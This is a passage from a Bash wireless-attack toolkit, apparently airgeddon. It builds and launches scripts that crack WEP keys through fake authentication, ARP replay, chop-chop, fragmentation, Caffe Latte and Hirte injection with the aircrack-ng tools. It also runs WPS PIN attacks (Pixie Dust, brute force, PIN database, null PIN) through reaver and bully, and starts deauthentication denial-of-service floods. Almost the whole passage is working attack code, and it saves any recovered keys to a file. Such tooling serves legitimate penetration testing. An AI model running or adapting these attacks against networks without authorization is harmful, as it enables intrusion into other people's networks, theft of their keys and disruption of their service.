"${enterprise_network_selected}" -eq 0 ]; then echo language_strings "${language}" 747 "red" language_strings "${language}" 115 "read" return 1 fi ;; esac return 0 } #Validate a WPA3 network (any type or only in mixed mode) function validate_wpa3_network() { debug_print local type if [ -z "${1}" ]; then type="wpa3_pure_and_wpa3_mixed" else type="${1}" fi if [ "${enc}" != "WPA3" ]; then echo if [ "${type}" = "wpa3_pure_and_wpa3_mixed" ]; then language_strings "${language}" 759 "red" elif [ "${type}" = "only_mixed" ]; then language_strings "${language}" 780 "red" fi language_strings "${language}" 115 "read" return 1 else if [ "${type}" = "only_mixed" ]; then if ! tshark -r "${2}" -Y "wlan.rsn.akms.type == 2 && wlan.rsn.akms.type == 8 && wlan.sa == ${bssid}" -T fields -e wlan.sa 2> /dev/null | grep -q .; then echo language_strings "${language}" 781 "red" language_strings "${language}" 115 "read" return 1 fi fi fi return 0 } #Validate if selected network has the needed type of encryption function validate_network_encryption_type() { debug_print case ${1} in "WPA"|"WPA2"|"WPA3") if [[ "${enc}" != "WPA" ]] && [[ "${enc}" != "WPA2" ]] && [[ "${enc}" != "WPA3" ]]; then echo language_strings "${language}" 137 "red" language_strings "${language}" 115 "read" return 1 fi ;; "WEP") if [ "${enc}" != "WEP" ]; then echo language_strings "${language}" 424 "red" language_strings "${language}" 115 "read" return 1 fi ;; esac return 0 } #Execute wep besside attack #shellcheck disable=SC2164 function exec_wep_besside_attack() { debug_print echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" prepare_wep_attack "besside" recalculate_windows_sizes pushd "${tmpdir}" > /dev/null 2>&1 manage_output "-hold -bg \"#000000\" -fg \"#FF00FF\" -geometry ${g2_stdleft_window} -T \"WEP Besside-ng attack\"" "besside-ng -c \"${channel}\" -b \"${bssid}\" \"${interface}\" -v | tee \"${tmpdir}${wep_besside_log}\"" "WEP Besside-ng attack" "active" wait_for_process "besside-ng -c \"${channel}\" -b \"${bssid//:/ }\" \"${interface}\" -v" "WEP Besside-ng attack" popd "${tmpdir}" > /dev/null 2>&1 manage_wep_besside_pot } #Execute wep all-in-one attack #shellcheck disable=SC2164 function exec_wep_allinone_attack() { debug_print echo language_strings "${language}" 296 "yellow" language_strings "${language}" 115 "read" prepare_wep_attack "allinone" set_wep_script recalculate_windows_sizes bash "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 & wep_script_pid=$! set_wep_key_script bash "${tmpdir}${wep_key_handler}" "${wep_script_pid}" > /dev/null 2>&1 & wep_key_script_pid=$! echo language_strings "${language}" 434 "yellow" language_strings "${language}" 115 "read" kill_wep_windows } #Kill the wep attack processes function kill_wep_windows() { debug_print kill "${wep_script_pid}" &> /dev/null wait $! 2> /dev/null kill "${wep_key_script_pid}" &> /dev/null wait $! 2> /dev/null readarray -t WEP_PROCESSES_TO_KILL < <(cat < "${tmpdir}${wepdir}${wep_processes_file}" 2> /dev/null) for item in "${WEP_PROCESSES_TO_KILL[@]}"; do kill "${item}" &> /dev/null done if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then kill_tmux_windows fi } #Prepare wep attacks deleting temp files function prepare_wep_attack() { debug_print if [ "${1}" = "allinone" ]; then rm -rf "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1 rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1 else rm -rf "${tmpdir}${wep_besside_log}" > /dev/null 2>&1 rm -rf "${tmpdir}wep.cap" > /dev/null 2>&1 rm -rf "${tmpdir}wps.cap" > /dev/null 2>&1 rm -rf "${tmpdir}besside.log" > /dev/null 2>&1 fi } #Create here-doc bash script used for key handling on wep all-in-one and besside attacks function set_wep_key_script() { debug_print exec 8>"${tmpdir}${wep_key_handler}" cat >&8 <<-EOF #!/usr/bin/env bash AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}" #Function to launch window using xterm/tmux function manage_output() { xterm_parameters="\${1}" tmux_command_line="\${2}" xterm_command_line="\"\${2}\"" window_name="\${3}" command_tail=" > /dev/null 2>&1 &" case "\${AIRGEDDON_WINDOWS_HANDLING}" in "tmux") local tmux_color tmux_color="" [[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}" case "\${4}" in "active") start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" "active" ;; *) start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" ;; esac ;; "xterm") eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}" ;; esac } #Start supporting scripts inside its own tmux window function start_tmux_processes() { window_name="\${1}" command_line="\${2}" tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null case "\${4}" in "active") tmux new-window -t "${session_name}:" -n "\${window_name}" ;; *) tmux new-window -d -t "${session_name}:" -n "\${window_name}" ;; esac local tmux_color_cmd if [ -n "\${3}" ]; then tmux_color_cmd="bg=#000000 fg=\${3}" else tmux_color_cmd="bg=#000000" fi tmux setw -t "\${window_name}" window-style "\${tmux_color_cmd}" tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER } wep_key_found=0 #Check if the wep password was captured and manage to save it on a file function manage_wep_allinone_pot() { if [ -f "${tmpdir}${wepdir}wepkey.txt" ]; then wep_hex_key_cmd="cat \"${tmpdir}${wepdir}wepkey.txt\"" wep_hex_key=\$(eval "\${wep_hex_key_cmd}") wep_ascii_key=\$(echo "\${wep_hex_key}" | awk 'RT{printf "%c", strtonum("0x"RT)}' RS='[0-9A-Fa-f]{2}') echo "" > "${weppotenteredpath}" { date +%Y-%m-%d echo -e "${wep_texts[${language},1]}" echo "" echo -e "BSSID: ${bssid}" echo -e "${wep_texts[${language},2]}: ${channel}" echo -e "ESSID: ${essid}" echo "" echo "---------------" echo "" echo -e "ASCII: \${wep_ascii_key}" echo -en "${wep_texts[${language},3]}:" echo -e " \${wep_hex_key}" echo "" echo "---------------" echo "" echo "${footer_texts[${language},0]}" } >> "${weppotenteredpath}" fi } #Kill the wep attack processes function kill_wep_script_windows() { readarray -t WEP_PROCESSES_TO_KILL < <(cat < "${tmpdir}${wepdir}${wep_processes_file}" 2> /dev/null) for item in "\${WEP_PROCESSES_TO_KILL[@]}"; do kill "\${item}" &> /dev/null done } EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&8 <<-EOF #Function to kill tmux windows using window name function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "\${TMUX_WINDOWS_LIST[@]}"; do [[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}" if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi if [ -n "\${1}" ]; then if [ "\${current_window_name}" = "\${1}" ]; then continue fi fi tmux kill-window -t "${session_name}:\${current_window_name}" done } EOF fi cat >&8 <<-EOF while true; do sleep 1 if [ -f "${tmpdir}${wepdir}wepkey.txt" ]; then wep_key_found=1 break fi wep_script_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${1}$" 2> /dev/null) if [ -z "\${wep_script_alive}" ]; then break fi done if [ "\${wep_key_found}" -eq 1 ]; then manage_wep_allinone_pot fi kill_wep_script_windows EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&8 <<-EOF kill_tmux_windows "WEP Key Decrypted" EOF fi cat >&8 <<-EOF rm -rf "${tmpdir}${wepdir}${wep_processes_file}" touch "${tmpdir}${wepdir}${wep_processes_file}" > /dev/null 2>&1 if [ "\${wep_key_found}" -eq 1 ]; then wep_key_cmd="echo -e '\t${yellow_color}${wep_texts[${language},5]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${wep_texts[${language},2]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}'" wep_key_cmd+="&& echo" wep_key_cmd+="&& echo -e '\t${blue_color}${wep_texts[${language},4]}${normal_color}'" wep_key_cmd+="&& echo" wep_key_cmd+="&& echo -en '\t${blue_color}ASCII: ${normal_color}'" wep_key_cmd+="&& echo -en '\${wep_ascii_key}'" wep_key_cmd+="&& echo" wep_key_cmd+="&& echo -en '\t${blue_color}${wep_texts[${language},3]}: ${normal_color}'" wep_key_cmd+="&& echo -en '\${wep_hex_key}'" wep_key_cmd+="&& echo" wep_key_cmd+="&& echo" wep_key_cmd+="&& echo -e '\t${pink_color}${wep_texts[${language},6]}: [${normal_color}${weppotenteredpath}${pink_color}]${normal_color}'" wep_key_cmd+="&& echo" wep_key_cmd+="&& echo -e '\t${yellow_color}${wep_texts[${language},0]}'" window_position="${g5_topright_window}" sleep 0.5 manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;\${wep_key_cmd}" "WEP Key Decrypted" "active" EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then cat >&8 <<-EOF wep_key_window_pid="\$!" { echo -e "\${wep_key_window_pid}" } >> "${tmpdir}${wepdir}${wep_processes_file}" EOF fi cat >&8 <<-EOF fi EOF } #Create here-doc bash script used for wep all-in-one attack function set_wep_script() { debug_print current_mac=$(cat < "/sys/class/net/${interface}/address" 2> /dev/null) exec 6>"${tmpdir}${wep_attack_file}" cat >&6 <<-EOF #!/usr/bin/env bash AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}" global_process_pid="" #Function to launch window using xterm/tmux function manage_output() { xterm_parameters="\${1}" tmux_command_line="\${2}" xterm_command_line="\"\${2}\"" window_name="\${3}" command_tail=" > /dev/null 2>&1 &" case "\${AIRGEDDON_WINDOWS_HANDLING}" in "tmux") local tmux_color tmux_color="" [[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}" case "\${4}" in "active") start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" "active" ;; *) start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" ;; esac ;; "xterm") eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}" ;; esac } #Start supporting scripts inside its own tmux window function start_tmux_processes() { window_name="\${1}" command_line="\${2}" tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null case "\${4}" in "active") tmux new-window -t "${session_name}:" -n "\${window_name}" ;; *) tmux new-window -d -t "${session_name}:" -n "\${window_name}" ;; esac local tmux_color_cmd if [ -n "\${3}" ]; then tmux_color_cmd="bg=#000000 fg=\${3}" else tmux_color_cmd="bg=#000000" fi tmux setw -t "\${window_name}" window-style "\${tmux_color_cmd}" tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER } #Function to capture PID of a process started inside tmux and setting it to a global variable #shellcheck disable=SC2009 function get_tmux_process_id() { local process_pid local process_cmd_line process_cmd_line=\$(echo "\${1}" | tr -d '"') while [ -z "\${process_pid}" ]; do process_pid=\$(ps --no-headers aux | grep "\${process_cmd_line}" | grep -v "grep \${process_cmd_line}" | awk '{print \$2}') done global_process_pid="\${process_pid}" } #Function to kill tmux windows using window name function kill_tmux_window_by_name() { if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then tmux kill-window -t "${session_name}:\${1}" 2> /dev/null fi } iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 mkdir "${tmpdir}${wepdir}" > /dev/null 2>&1 #shellcheck disable=SC2164 pushd "${tmpdir}${wepdir}" > /dev/null 2>&1 #Execute wep chop-chop attack on its different phases function wep_chopchop_attack() { case "\${wep_chopchop_phase}" in 1) if grep -Ei "Now you can build a packet|Saving keystream" "${tmpdir}${wepdir}chopchop_output.txt" > /dev/null 2>&1; then wep_chopchop_phase=2 else wep_chopchop_phase1_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_chopchop_phase1_pid}$" 2> /dev/null) if [[ "\${wep_chopchop_launched}" -eq 0 ]] || [[ -z "\${wep_chopchop_phase1_pid_alive}" ]]; then wep_chopchop_launched=1 manage_output "+j -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (1/3)\"" "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" "Chop-Chop Attack (1/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface}" wep_chopchop_phase1_pid="\${global_process_pid}" global_process_pid="" else wep_chopchop_phase1_pid="\$!" fi wep_script_processes+=("\${wep_chopchop_phase1_pid}") fi fi ;; 2) kill_tmux_window_by_name "Chop-Chop Attack (1/3)" manage_output "+j -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then wep_chopchop_phase2_pid="\$!" fi wep_script_processes+=("\${wep_chopchop_phase2_pid}") wep_chopchop_phase=3 ;; 3) wep_chopchop_phase2_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_chopchop_phase2_pid}$" 2> /dev/null) if [[ -z "\${wep_chopchop_phase2_pid_alive}" ]] && [[ -f "${tmpdir}${wepdir}chopchop.cap" ]]; then kill_tmux_window_by_name "Chop-Chop Attack (2/3)" manage_output "-hold -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (3/3)\"" "yes | aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" else wep_script_processes+=("\$!") fi wep_chopchop_phase=4 fi ;; esac write_wep_processes } #Execute wep fragmentation attack on its different phases function wep_fragmentation_attack() { case "\${wep_fragmentation_phase}" in 1) if grep -i "Now you can build a packet" "${tmpdir}${wepdir}fragmentation_output.txt" > /dev/null 2>&1; then wep_fragmentation_phase=2 else wep_fragmentation_phase1_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_fragmentation_phase1_pid}$" 2> /dev/null) if [[ "\${wep_fragmentation_launched}" -eq 0 ]] || [[ -z "\${wep_fragmentation_phase1_pid_alive}" ]]; then wep_fragmentation_launched=1 manage_output "+j -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (1/3)\"" "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" "Fragmentation Attack (1/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface}" wep_fragmentation_phase1_pid="\${global_process_pid}" global_process_pid="" else wep_fragmentation_phase1_pid="\$!" fi wep_script_processes+=("\${wep_fragmentation_phase1_pid}") fi fi ;; 2) kill_tmux_window_by_name "Fragmentation Attack (1/3)" manage_output "+j -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then wep_fragmentation_phase2_pid="\$!" fi wep_fragmentation_phase=3 wep_script_processes+=("\${wep_fragmentation_phase2_pid}") ;; 3) wep_fragmentation_phase2_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_fragmentation_phase2_pid}$" 2> /dev/null) if [[ -z "\${wep_fragmentation_phase2_pid_alive}" ]] && [[ -f "${tmpdir}${wepdir}fragmentation.cap" ]]; then kill_tmux_window_by_name "Fragmentation Attack (2/3)" manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (3/3)\"" "yes | aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" else wep_script_processes+=("\$!") fi wep_fragmentation_phase=4 fi ;; esac write_wep_processes } #Write on a file the id of the WEP attack processes function write_wep_processes() { if [ ! -f "${tmpdir}${wepdir}${wep_processes_file}" ]; then touch "${tmpdir}${wepdir}${wep_processes_file}" > /dev/null 2>&1 fi path_to_process_file="${tmpdir}${wepdir}${wep_processes_file}" for item in "\${wep_script_processes[@]}"; do if ! grep -E "^\${item}$" "\${path_to_process_file}" > /dev/null 2>&1; then echo "\${item}" >> "${tmpdir}${wepdir}${wep_processes_file}" fi done } wep_script_processes=() manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" "active" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" wep_script_capture_pid="\${global_process_pid}" global_process_pid="" else wep_script_capture_pid="\$!" fi wep_script_processes+=("\${wep_script_capture_pid}") write_wep_processes wep_to_be_launched_only_once=0 wep_fakeauth_pid="" wep_aircrack_launched=0 current_ivs=0 wep_chopchop_launched=0 wep_chopchop_phase=1 wep_fragmentation_launched=0 wep_fragmentation_phase=1 while true; do wep_capture_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_script_capture_pid}$" 2> /dev/null) wep_fakeauth_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_fakeauth_pid}$" 2> /dev/null) if [[ -n "\${wep_capture_pid_alive}" ]] && [[ -z "\${wep_fakeauth_pid_alive}" ]]; then manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g5_left1} -T \"Fake Auth\"" "aireplay-ng -1 3 -o 1 -q 10 -a ${bssid} -h ${current_mac} ${interface}" "Fake Auth" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -1 3 -o 1 -q 10 -a ${bssid} -h ${current_mac} ${interface}" wep_fakeauth_pid="\${global_process_pid}" global_process_pid="" else wep_fakeauth_pid="\$!" fi wep_script_processes+=("\${wep_fakeauth_pid}") write_wep_processes sleep 2 fi if [ "\${wep_to_be_launched_only_once}" -eq 0 ]; then wep_to_be_launched_only_once=1 manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_left2} -T \"Arp Broadcast Injection\"" "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" "Arp Broadcast Injection" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" else wep_script_processes+=(\$!) fi manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g5_left3} -T \"Arp Request Replay\"" "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" "Arp Request Replay" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" else wep_script_processes+=(\$!) fi manage_output "+j -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g5_left4} -T \"Caffe Latte Attack\"" "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Caffe Latte Attack" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" else wep_script_processes+=(\$!) fi manage_output "+j -bg \"#000000\" -fg \"#D3D3D3\" -geometry ${g5_left5} -T \"Hirte Attack\"" "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" else wep_script_processes+=("\$!") fi write_wep_processes fi if [ "\${wep_fragmentation_phase}" -lt 4 ]; then wep_fragmentation_attack fi if [ "\${wep_chopchop_phase}" -lt 4 ]; then wep_chopchop_attack fi ivs_cmd="grep WEP ${tmpdir}${wep_data}*.csv --exclude=*kismet* | head -n 1 " ivs_cmd+="| awk '{print \\\$11}' FS=',' | sed 's/ //g'" current_ivs=\$(eval "\${ivs_cmd}") if [[ "\${current_ivs}" -ge 5000 ]] && [[ "\${wep_aircrack_launched}" -eq 0 ]]; then wep_aircrack_launched=1 manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" "active" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\".*cap -l \"${tmpdir}${wepdir}wepkey.txt\"" wep_aircrack_pid="\${global_process_pid}" global_process_pid="" else wep_aircrack_pid="\$!" fi wep_script_processes+=("\${wep_aircrack_pid}") write_wep_processes fi wep_aircrack_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_aircrack_pid}$" 2> /dev/null) if [[ -z "\${wep_aircrack_pid_alive}" ]] && [[ "\${wep_aircrack_launched}" -eq 1 ]]; then break elif [[ -z "\${wep_capture_pid_alive}" ]]; then break fi done #shellcheck disable=SC2164 popd "${tmpdir}${wepdir}" > /dev/null 2>&1 EOF } #Execute wps custom pin bully attack function exec_wps_custom_pin_bully_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "bully" "custompin" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" } #Execute wps custom pin reaver attack function exec_wps_custom_pin_reaver_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "reaver" "custompin" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" } #Execute bully pixie dust attack function exec_bully_pixiewps_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "bully" "pixiedust" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" } #Execute reaver pixie dust attack function exec_reaver_pixiewps_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "reaver" "pixiedust" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" } #Execute wps bruteforce pin bully attack function exec_wps_bruteforce_pin_bully_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "bully" "bruteforce" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" } #Execute wps bruteforce pin reaver attack function exec_wps_bruteforce_pin_reaver_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "reaver" "bruteforce" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" } #Execute wps pin database bully attack function exec_wps_pin_database_bully_attack() { debug_print wps_pin_database_prerequisites set_wps_attack_script "bully" "pindb" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" } #Execute wps pin database reaver attack function exec_wps_pin_database_reaver_attack() { debug_print wps_pin_database_prerequisites set_wps_attack_script "reaver" "pindb" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" } #Execute wps null pin reaver attack function exec_reaver_nullpin_attack() { debug_print echo language_strings "${language}" 32 "green" set_wps_attack_script "reaver" "nullpin" echo language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS null pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS null pin reaver attack" "active" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS null pin reaver attack" } #Execute DoS pursuit mode attack function launch_dos_pursuit_mode_attack() { debug_print rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 rm -rf "${tmpdir}nws"* > /dev/null 2>&1 rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then if [[ -z "${enterprise_mode}" ]] && [[ -z "${et_mode}" ]]; then echo language_strings "${language}" 707 "yellow" else echo language_strings "${language}" 507 "yellow" fi fi recalculate_windows_sizes case "${1}" in "${mdk_command} amok attack") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${interface}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" "${1} (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi ;; "aireplay deauth attack") dos_delay=3 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${interface}" iw dev "${interface_pursuit_mode_deauth}" set channel "${channel}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} 